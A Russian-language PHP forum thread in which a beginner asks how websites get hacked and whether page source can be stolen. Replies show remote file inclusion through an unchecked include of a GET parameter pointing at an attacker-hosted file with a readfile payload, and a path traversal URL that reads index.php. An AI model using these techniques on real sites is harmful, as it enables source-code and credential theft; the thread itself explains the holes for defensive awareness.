Как ломают сайты?

Оливер Перри

Новичок
Как ломают сайты?

Чем больше я изучаю РНР, тем чаще задумываюсь о безопасности сайта, то и дело слышить, там взломали, да там взломали все говорят о безопасности, а я не могу понять откуда может исходить угроза.
У меня конкретный вопрос допустим
есть сайт http://www.mysite.ru
есть документ http://www.mysite.ru /some_page.php

Может ли посторонний получить код этого документа, не результат который формируется этим кодом, а содержание самого кода?
 

specialist

Guest
нет, если правильно настроен сервер
 

Оливер Перри

Новичок
Так значит все эти програмы граберы это все туфта?

А получить доступ к переменным окружения и переменным сессии, вызвать функцию phpinfo() на моем сайте посторонний может?
 

Фанат

oncle terrible
Команда форума
или include ($_GEt['page']);

Оливер Перри
Так значит все эти програмы граберы это все туфта?
какие "все"? Какие "эти"? Какие "граберы"?
О таких ,которые грабят исходные коды, я до сих пор не слышал. просвети меня, тёмного?
 

Dreammaker

***=Ф=***
Оливер Перри
введи в поисковиках remView.php и почитай статьи, которые с этим связаны...

много пустого, но общее представление о том, чем пользуется большинство современной хакерской молодёжь даст.
 

SibProgrammer

Новичок
Автор оригинала: Фанат
или include ($_GEt['page']);
Include не поможет в раскрытии исходного кода some_page.php
В раскрытии исходного кода помогут, например, неаккуратные вызовы функций вызова программ (сорри за каламбур).
Другое дело, если вы храните исходный код в файлах, которые по умолчанию не обрабатываются php...
А вообще, существует множество статей на эту тему. Или почитать ман на эту тему - там есть даже отдельная глава.
 

SiMM

Новичок
> Include не поможет в раскрытии исходного кода some_page.php
Да неужели?
Один из вариантов:
allow_url_fopen = On - http://www.mysite.ru/?page=http://hacksite.ru/crackem.all - crackem.all содержит всё, что душеньке угодно, при этом имеет доступ ко всем ресурсам www.mysite.ru, в том числе и исходникам.
 

MD

Guest
SibProgrammer
не поможет говоришь? пжалста
include('$_GET['page']');
и
$_GET['page'] = http://somewhere.com/somecode.php
 

digs

Новичок
Оливер Перри
Пример как пытались ломать мой сайт.
У меня есть каталог doc в котором лежат тексты. Вызывается скрипт, которому например подается в качестве параметра имя файла из этого каталога. Например:
www.site.ru/index.php?action=viewdoc&file=sample.txt

отображение производилось считыванием файла sample.txt из каталога doc в переменную и выводом.
А теперь подаем команду
www.site.ru/index.php?action=viewdoc&file=../index.php

вот и получили код главного файла. Есстественно в таких случаях надо ставить защиту
 

SibProgrammer

Новичок
Автор оригинала: SiMM
Один из вариантов:
allow_url_fopen = On - http://www.mysite.ru/?page=http://hacksite.ru/crackem.all - crackem.all содержит всё, что душеньке угодно, при этом имеет доступ ко всем ресурсам www.mysite.ru, в том числе и исходникам.
Читаем внимательно мой пост - в частности фразу "в раскрытии исходного кода some_page.php" Так как the include() statement includes and evaluates the specified file.
То есть я имел ввиду включение его на прямую.. Сорри, что не указал об этом явно :)
 

SiMM

Новичок
SibProgrammer, мозг примени.
PHP:
<?php // crackem.all in hacksite.ru
readfile('some_page.php');
?>
 

Dreammaker

***=Ф=***
SibProgrammer
и при этом переменные и константы становятся родными для скрипта-вредоносца. Например, если так подумать, то и подключение к базе данных...

хотя могу ошибаться...
 

SibProgrammer

Новичок
Еще раз...
readfile - это одна функция..
include - это совсем другая :) :) :)
Так вот, include('some_page.php') - исходник не поможет раскрыть...
А вот от readfile('some_page.php')
Естественно, что на include можно, организовать сss-атаку, но этого я и не отрицал ;)

-~{}~ 03.08.05 13:20:

Автор оригинала: Dreammaker
SibProgrammerНапример, если так подумать, то и подключение к базе данных...
хотя могу ошибаться...
Это абсолютно не нужно, т.к. самое главное (внедрение своего кода) будет уже выполнено. А дальше - все ограничивается только полетом фантазии..
 

dorfey

Guest
Есть напрмер способ получить пароли к БД.
Периодически еще натыкаюсь на людей которые свои конфиги называют например db.inc, это ваще зло :/
 
Сверху